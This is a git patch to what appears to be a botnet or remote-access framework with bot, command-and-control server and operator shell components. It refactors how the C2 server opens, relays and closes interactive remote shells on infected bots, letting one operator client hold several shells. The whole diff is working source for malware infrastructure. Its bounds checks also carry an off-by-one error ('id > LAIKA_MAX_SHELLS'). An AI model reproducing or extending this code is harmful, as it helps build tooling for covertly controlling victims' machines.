From 0fdca35f875b2e876875546b47893c0b340bae5f Mon Sep 17 00:00:00 2001 From: CPunch Date: Fri, 20 May 2022 14:10:53 -0500 Subject: [PATCH] Shell: minor refactoring, cnc supports mutiple shells per auth clients - while cnc supports multiple shells per auth client, the LaikaShell still only supports 1 concurrent shell at a time. this feature is just preparing boilerplate for future features. shell treats all SHELL_* packets for the same shell, regardless of shellID --- bot/src/shell.c | 2 +- cnc/include/cpanel.h | 2 - cnc/include/cpeer.h | 22 +++++-- cnc/src/cnc.c | 15 +++-- cnc/src/cpanel.c | 81 ++++++++++-------------- cnc/src/cpeer.c | 143 ++++++++++++++++++++++++------------------ lib/include/lpacket.h | 12 ++-- shell/src/sclient.c | 33 ++++++++-- 8 files changed, 173 insertions(+), 137 deletions(-) diff --git a/bot/src/shell.c b/bot/src/shell.c index a119726..512744c 100644 --- a/bot/src/shell.c +++ b/bot/src/shell.c @@ -70,7 +70,7 @@ void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u /* check if shell is not running */ if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id])) - LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE requested on unopened shell!\n"); + return; /* close shell */ laikaB_freeShell(bot, shell); diff --git a/cnc/include/cpanel.h b/cnc/include/cpanel.h index 3ccc21c..38bdd3c 100644 --- a/cnc/include/cpanel.h +++ b/cnc/include/cpanel.h @@ -7,8 +7,6 @@ void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot); void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot); -void laikaC_closeAuthShell(struct sLaika_peer *auth); - void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData); void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData); void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData); diff --git a/cnc/include/cpeer.h b/cnc/include/cpeer.h index 7c6a295..ee7ff74 100644 --- a/cnc/include/cpeer.h +++ b/cnc/include/cpeer.h @@ -8,34 +8,44 @@ #include "lpeer.h" struct sLaika_peerInfo { + struct sLaika_shellInfo *shells[LAIKA_MAX_SHELLS]; /* currently connected shells */ struct sLaika_cnc *cnc; long lastPing; bool completeHandshake; }; +struct sLaika_shellInfo { + struct sLaika_peer *bot; + struct sLaika_peer *auth; + uint32_t botShellID, authShellID; + uint16_t cols, rows; +}; + #define BASE_PEERINFO struct sLaika_peerInfo info; +/* these will differ someday */ struct sLaika_botInfo { BASE_PEERINFO - struct sLaika_peer *shellAuths[LAIKA_MAX_SHELLS]; /* currently connected shells */ }; struct sLaika_authInfo { BASE_PEERINFO - struct sLaika_peer *shellBot; /* currently connected shell */ - uint32_t shellID; }; #undef BASE_PEERINFO +#define GETPINFOFROMPEER(x) ((struct sLaika_peerInfo*)x->uData) +#define GETBINFOFROMPEER(x) ((struct sLaika_botInfo*)x->uData) +#define GETAINFOFROMPEER(x) ((struct sLaika_authInfo*)x->uData) + struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc); struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc); void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo); -int laikaC_addShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth); -void laikaC_rmvShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth); +struct sLaika_shellInfo* laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth, uint16_t cols, uint16_t rows); +void laikaC_closeShell(struct sLaika_shellInfo *shell); -void laikaC_closeBotShells(struct sLaika_peer *bot); +void laikaC_closeShells(struct sLaika_peer *peer); void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index 49796ea..72fd298 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -129,7 +129,7 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = { false), LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE, laikaC_handleAuthenticatedShellClose, - 0, + sizeof(uint32_t), false), LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA, laikaC_handleAuthenticatedShellData, @@ -199,7 +199,7 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) { void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { int i; - ((struct sLaika_peerInfo*)peer->uData)->completeHandshake = true; + GETPINFOFROMPEER(peer)->completeHandshake = true; /* add peer to panels list (if it's a panel) */ if (peer->type == PEER_AUTH) @@ -218,18 +218,17 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { int i; /* ignore uninitalized peers */ - if (!((struct sLaika_peerInfo*)peer->uData)->completeHandshake) + if (!(GETPINFOFROMPEER(peer)->completeHandshake)) return; + /* close any open shells */ + laikaC_closeShells(peer); switch (peer->type) { case PEER_BOT: { - /* close any open shells */ - laikaC_closeBotShells(peer); + /* TODO */ break; } case PEER_AUTH: { - laikaC_closeAuthShell(peer); - /* remove peer from panels list */ laikaC_rmvAuth(cnc, peer); break; @@ -383,7 +382,7 @@ struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub) { } bool sweepPeers(struct sLaika_peer *peer, void *uData) { - struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)peer->uData; + struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer); struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData; long currTime = laikaT_getTime(); diff --git a/cnc/src/cpanel.c b/cnc/src/cpanel.c index e6e58e0..31cbb24 100644 --- a/cnc/src/cpanel.c +++ b/cnc/src/cpanel.c @@ -41,22 +41,6 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) laikaS_endOutPacket(authPeer); } -void laikaC_closeAuthShell(struct sLaika_peer *auth) { - struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)auth->uData; - - if (!aInfo->shellBot) - return; - - /* forward SHELL_CLOSE to bot */ - laikaS_startOutPacket(aInfo->shellBot, LAIKAPKT_SHELL_CLOSE); - laikaS_writeInt(&aInfo->shellBot->sock, &aInfo->shellID, sizeof(uint32_t)); - laikaS_endOutPacket(aInfo->shellBot); - - /* rmv shell */ - laikaC_rmvShell((struct sLaika_botInfo*)aInfo->shellBot->uData, auth); - aInfo->shellBot = NULL; -} - /* ============================================[[ Packet Handlers ]]============================================= */ void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { @@ -86,15 +70,11 @@ void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; - struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData; - struct sLaika_cnc *cnc = aInfo->info.cnc; + struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; + struct sLaika_cnc *cnc = pInfo->cnc; struct sLaika_peer *peer; uint16_t cols, rows; - /* sanity check, make sure shell isn't already open */ - if (aInfo->shellBot) - LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Shell already open!\n"); - /* read pubkey & find peer */ laikaS_read(&authPeer->sock, pubKey, crypto_kx_PUBLICKEYBYTES); if ((peer = laikaC_getPeerByPub(cnc, pubKey)) == NULL) @@ -107,27 +87,23 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_ laikaS_readInt(&authPeer->sock, &cols, sizeof(uint16_t)); laikaS_readInt(&authPeer->sock, &rows, sizeof(uint16_t)); - /* link shells */ - aInfo->shellBot = peer; - aInfo->shellID = laikaC_addShell((struct sLaika_botInfo*)peer->uData, authPeer); - - /* forward the request to open a shell */ - laikaS_startOutPacket(peer, LAIKAPKT_SHELL_OPEN); - laikaS_writeInt(&peer->sock, &aInfo->shellID, sizeof(uint32_t)); - laikaS_writeInt(&peer->sock, &cols, sizeof(uint16_t)); - laikaS_writeInt(&peer->sock, &rows, sizeof(uint16_t)); - laikaS_endOutPacket(peer); + /* open shell */ + laikaC_openShell(peer, authPeer, cols, rows); } void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { - struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData; - struct sLaika_cnc *cnc = aInfo->info.cnc; + struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; + struct sLaika_cnc *cnc = pInfo->cnc; + struct sLaika_shellInfo *shell; + uint32_t id; - /* an AUTH_SHELL_CLOSE can be sent after the shell has already been closed, so don't error just ignore the packet */ - if (aInfo->shellBot == NULL) + laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t)); + + /* ignore malformed packet */ + if (id > LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL) return; - laikaC_closeAuthShell(authPeer); + laikaC_closeShell(shell); } /* improves readability */ @@ -139,16 +115,23 @@ void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH]; - struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData; - struct sLaika_cnc *cnc = aInfo->info.cnc; + struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; + struct sLaika_cnc *cnc = pInfo->cnc; struct sLaika_peer *peer; + struct sLaika_shellInfo *shell; + uint32_t id; - /* sanity check, make sure shell is open */ - if ((peer = aInfo->shellBot) == NULL) - LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Shell not open!\n"); + if (sz-sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH || sz <= sizeof(uint32_t)) + LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n"); - if (sz > LAIKA_SHELL_DATA_MAX_LENGTH) - LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Data too big!\n"); + laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t)); + sz -= sizeof(uint32_t); + + /* ignore malformed packet */ + if (id > LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL) + return; + + peer = shell->bot; /* read data */ laikaS_read(&authPeer->sock, data, sz); @@ -161,12 +144,12 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_ */ /* first part */ - SENDSHELLDATA(peer, data, sz-sizeof(uint32_t), &aInfo->shellID); + SENDSHELLDATA(peer, data, sz-sizeof(uint32_t), &shell->botShellID); /* second part */ - SENDSHELLDATA(peer, data + (sz-sizeof(uint32_t)), sizeof(uint32_t), &aInfo->shellID); + SENDSHELLDATA(peer, data + (sz-sizeof(uint32_t)), sizeof(uint32_t), &shell->botShellID); } else { - SENDSHELLDATA(peer, data, sz, &aInfo->shellID); + SENDSHELLDATA(peer, data, sz, &shell->botShellID); } } else if (authPeer->osType == OS_LIN && peer->osType == OS_WIN) { /* convert data if its linux -> windows */ uint8_t *buf = laikaM_malloc(sz); @@ -190,12 +173,12 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_ buffers > LAIKA_SHELL_DATA_MAX_LENGTH. so we send it in chunks) */ i = count; while (i+sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH) { - SENDSHELLDATA(peer, buf + (count - i), LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &aInfo->shellID); + SENDSHELLDATA(peer, buf + (count - i), LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &shell->botShellID); i -= LAIKA_SHELL_DATA_MAX_LENGTH; } /* send the leftovers */ - SENDSHELLDATA(peer, buf + (count - i), i, &aInfo->shellID); + SENDSHELLDATA(peer, buf + (count - i), i, &shell->botShellID); laikaM_free(buf); } } diff --git a/cnc/src/cpeer.c b/cnc/src/cpeer.c index b1a26a1..69f75af 100644 --- a/cnc/src/cpeer.c +++ b/cnc/src/cpeer.c @@ -2,12 +2,18 @@ #include "cnc.h" #include "cpeer.h" +#include "lerror.h" /* ===============================================[[ Peer Info ]]================================================ */ struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) { struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz); - + int i; + + for (i = 0; i < LAIKA_MAX_SHELLS; i++) { + pInfo->shells[i] = NULL; + } + pInfo->cnc = cnc; pInfo->lastPing = laikaT_getTime(); pInfo->completeHandshake = false; @@ -16,19 +22,15 @@ struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) { struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc) { struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_botInfo)); - int i; - - for (i = 0; i < LAIKA_MAX_SHELLS; i++) { - bInfo->shellAuths[i] = NULL; - } + /* TODO */ return bInfo; } struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc) { struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_authInfo)); - - aInfo->shellBot = NULL; + + /* TODO */ return aInfo; } @@ -37,102 +39,121 @@ void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo laikaM_free(pInfo); } -/*int laikaC_findAuthShell(struct sLaika_botInfo *bot, uint32_t id) { - struct sLaika_peer *auth; - struct sLaika_authInfo *aInfo; - int i; - for (i = 0; i < LAIKA_MAX_SHELLS; i++) { - if ((auth = bot->shellAuths[i]) != NULL && (aInfo = auth->uData)->shellID == id) - return i; - } +/* ==============================================[[ Shell Info ]]================================================ */ - return -1; -}*/ +int findOpenShellID(struct sLaika_peerInfo *pInfo) { + int id; -int laikaC_addShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth) { - int i; - - for (i = 0; i < LAIKA_MAX_SHELLS; i++) { - if (bInfo->shellAuths[i] == NULL) { - bInfo->shellAuths[i] = auth; - return i; - } + for (id = 0; id < LAIKA_MAX_SHELLS; id++) { + if (pInfo->shells[id] == NULL) + return id; } return -1; } -void laikaC_rmvShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth) { - int i; +struct sLaika_shellInfo* laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth, uint16_t cols, uint16_t rows) { + struct sLaika_shellInfo *shell = (struct sLaika_shellInfo*)laikaM_malloc(sizeof(struct sLaika_shellInfo)); - for (i = 0; i < LAIKA_MAX_SHELLS; i++) { - if (bInfo->shellAuths[i] == auth) { - bInfo->shellAuths[i] = NULL; - return; - } - } + shell->bot = bot; + shell->auth = auth; + shell->cols = cols; + shell->rows = rows; + + /* find open ids for each peer */ + if ((shell->botShellID = findOpenShellID(GETPINFOFROMPEER(bot))) == -1) + LAIKA_ERROR("Failed to open new shellInfo for bot %p, all shells are full!\n", bot); + + if ((shell->authShellID = findOpenShellID(GETPINFOFROMPEER(auth))) == -1) + LAIKA_ERROR("Failed to open new shellInfo for auth %p, all shells are full!\n", auth); + + /* assign ids */ + GETPINFOFROMPEER(bot)->shells[shell->botShellID] = shell; + GETPINFOFROMPEER(auth)->shells[shell->authShellID] = shell; + + /* send SHELL_OPEN packets */ + laikaS_startOutPacket(bot, LAIKAPKT_SHELL_OPEN); + laikaS_writeInt(&bot->sock, &shell->botShellID, sizeof(uint32_t)); + laikaS_writeInt(&bot->sock, &cols, sizeof(uint16_t)); + laikaS_writeInt(&bot->sock, &rows, sizeof(uint16_t)); + laikaS_endOutPacket(bot); + + laikaS_startOutPacket(auth, LAIKAPKT_SHELL_OPEN); + laikaS_writeInt(&auth->sock, &shell->authShellID, sizeof(uint32_t)); + laikaS_writeInt(&auth->sock, &cols, sizeof(uint16_t)); + laikaS_writeInt(&auth->sock, &rows, sizeof(uint16_t)); + laikaS_endOutPacket(auth); + + return shell; } -void laikaC_closeBotShells(struct sLaika_peer *bot) { - struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)bot->uData; - struct sLaika_peer *auth; +void laikaC_closeShell(struct sLaika_shellInfo *shell) { + /* send SHELL_CLOSE packets */ + laikaS_startOutPacket(shell->bot, LAIKAPKT_SHELL_CLOSE); + laikaS_writeInt(&shell->bot->sock, &shell->botShellID, sizeof(uint32_t)); + laikaS_endOutPacket(shell->bot); + + laikaS_startOutPacket(shell->auth, LAIKAPKT_SHELL_CLOSE); + laikaS_writeInt(&shell->auth->sock, &shell->authShellID, sizeof(uint32_t)); + laikaS_endOutPacket(shell->auth); + + /* unlink */ + GETPINFOFROMPEER(shell->bot)->shells[shell->botShellID] = NULL; + GETPINFOFROMPEER(shell->auth)->shells[shell->authShellID] = NULL; + + /* free */ + laikaM_free(shell); +} + +void laikaC_closeShells(struct sLaika_peer *peer) { + struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer); int i; for (i = 0; i < LAIKA_MAX_SHELLS; i++) { - if ((auth = bInfo->shellAuths[i]) != NULL) { - /* forward to SHELL_CLOSE to auth */ - laikaS_emptyOutPacket(auth, LAIKAPKT_SHELL_CLOSE); - - /* close shell */ - ((struct sLaika_authInfo*)(auth->uData))->shellBot = NULL; - bInfo->shellAuths[i] = NULL; - } + if (pInfo->shells[i]) + laikaC_closeShell(pInfo->shells[i]); } } /* ============================================[[ Packet Handlers ]]============================================= */ void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { - struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData; - struct sLaika_cnc *cnc = bInfo->info.cnc; - struct sLaika_peer *auth; + struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; + struct sLaika_shellInfo *shell; uint32_t id; laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* ignore packet if shell isn't open */ - if (id > LAIKA_MAX_SHELLS || (auth = bInfo->shellAuths[id]) == NULL) + if (id > LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL) return; - /* forward SHELL_CLOSE to auth */ - laikaS_emptyOutPacket(auth, LAIKAPKT_SHELL_CLOSE); - /* close shell */ - ((struct sLaika_authInfo*)(auth->uData))->shellBot = NULL; - bInfo->shellAuths[id] = NULL; + laikaC_closeShell(shell); } void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { char buf[LAIKA_SHELL_DATA_MAX_LENGTH]; - struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData; - struct sLaika_peer *auth; + struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; + struct sLaika_shellInfo *shell; uint32_t id; /* ignore packet if malformed */ - if (sz < 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH+sizeof(uint32_t)) + if (sz > LAIKA_SHELL_DATA_MAX_LENGTH+sizeof(uint32_t) || sz <= sizeof(uint32_t)) return; laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* ignore packet if shell isn't open */ - if (id > LAIKA_MAX_SHELLS || (auth = bInfo->shellAuths[id]) == NULL) + if (id > LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL) return; laikaS_read(&peer->sock, (void*)buf, sz-sizeof(uint32_t)); /* forward SHELL_DATA packet to auth */ - laikaS_startVarPacket(auth, LAIKAPKT_SHELL_DATA); - laikaS_write(&auth->sock, buf, sz-sizeof(uint32_t)); - laikaS_endVarPacket(auth); + laikaS_startVarPacket(shell->auth, LAIKAPKT_SHELL_DATA); + laikaS_writeInt(&shell->auth->sock, &shell->authShellID, sizeof(uint32_t)); + laikaS_write(&shell->auth->sock, buf, sz-sizeof(uint32_t)); + laikaS_endVarPacket(shell->auth); } diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index d9e8ee8..90eb7d1 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -58,19 +58,19 @@ enum { /* layout of LAIKAPKT_PINGPONG: * NULL (empty packet) */ - LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */ + LAIKAPKT_SHELL_OPEN, /* layout of LAIKAPKT_SHELL_OPEN: - * uint32_t id; // this field is absent from the panel/auth client + * uint32_t id; * uint16_t cols; * uint16_t rows; */ - LAIKAPKT_SHELL_CLOSE, /* if sent to bot, closes a shell. if sent to cnc, signifies a shell was closed */ + LAIKAPKT_SHELL_CLOSE, /* layout of LAIKAPKT_SHELL_CLOSE: - * uint32_t id; // this field is absent from the panel/auth client + * uint32_t id; */ - LAIKAPKT_SHELL_DATA, /* if sent to bot, writes data to stdin of shell. if sent to cnc, writes to 'stdout' of shell */ + LAIKAPKT_SHELL_DATA, /* layout of LAIKAPKT_SHELL_DATA - * uint32_t id; // this field is absent from the panel/auth client + * uint32_t id; * char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)]; */ LAIKAPKT_CONTENT_NEW, diff --git a/shell/src/sclient.c b/shell/src/sclient.c index e2c48c5..9222b3e 100644 --- a/shell/src/sclient.c +++ b/shell/src/sclient.c @@ -100,9 +100,21 @@ void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat shellC_rmvPeer(client, bot, id); } +void shellC_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { + /* stubbed! this packet is a no-op currently */ +} + void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH]; tShell_client *client = (tShell_client*)uData; + uint32_t id; + + /* ignore packet if malformed */ + if (sz > LAIKA_SHELL_DATA_MAX_LENGTH+sizeof(uint32_t) || sz <= sizeof(uint32_t)) + return; + + laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */ + sz -= sizeof(uint32_t); /* sanity check */ if (!shellC_isShellOpen(client)) @@ -114,10 +126,13 @@ void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { tShell_client *client = (tShell_client*)uData; - + uint32_t id; + + laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */ + /* sanity check */ if (!shellC_isShellOpen(client)) - LAIKA_ERROR("LAIKAPKT_SHELL_DATA: No shell open!\n"); + return; /* ignore invalid CLOSE packets */ /* close shell */ shellC_closeShell(client); @@ -142,9 +157,13 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = { shellC_handleRmvPeer, crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t), false), + LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_OPEN, + shellC_handleShellOpen, + sizeof(uint32_t) + sizeof(uint16_t) + sizeof(uint16_t), + false), LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE, shellC_handleShellClose, - 0, + sizeof(uint32_t), false), LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA, shellC_handleShellData, @@ -355,21 +374,27 @@ void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, ui } void shellC_closeShell(tShell_client *client) { + uint32_t id = 0; /* we will *ALWAYS* only have one shell open */ /* check if we have a shell open */ if (!shellC_isShellOpen(client)) return; /* send SHELL_CLOSE request */ - laikaS_emptyOutPacket(client->peer, LAIKAPKT_SHELL_CLOSE); + laikaS_startOutPacket(client->peer, LAIKAPKT_SHELL_CLOSE); + laikaS_writeInt(&client->peer->sock, &id, sizeof(uint32_t)); + laikaS_endOutPacket(client->peer); + client->openShell = NULL; } void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) { + uint32_t id = 0; /* we will *ALWAYS* only have one shell open */ /* check if we have a shell open */ if (!shellC_isShellOpen(client)) return; laikaS_startVarPacket(client->peer, LAIKAPKT_SHELL_DATA); + laikaS_writeInt(&client->peer->sock, &id, sizeof(uint32_t)); laikaS_write(&client->peer->sock, data, sz); laikaS_endVarPacket(client->peer); }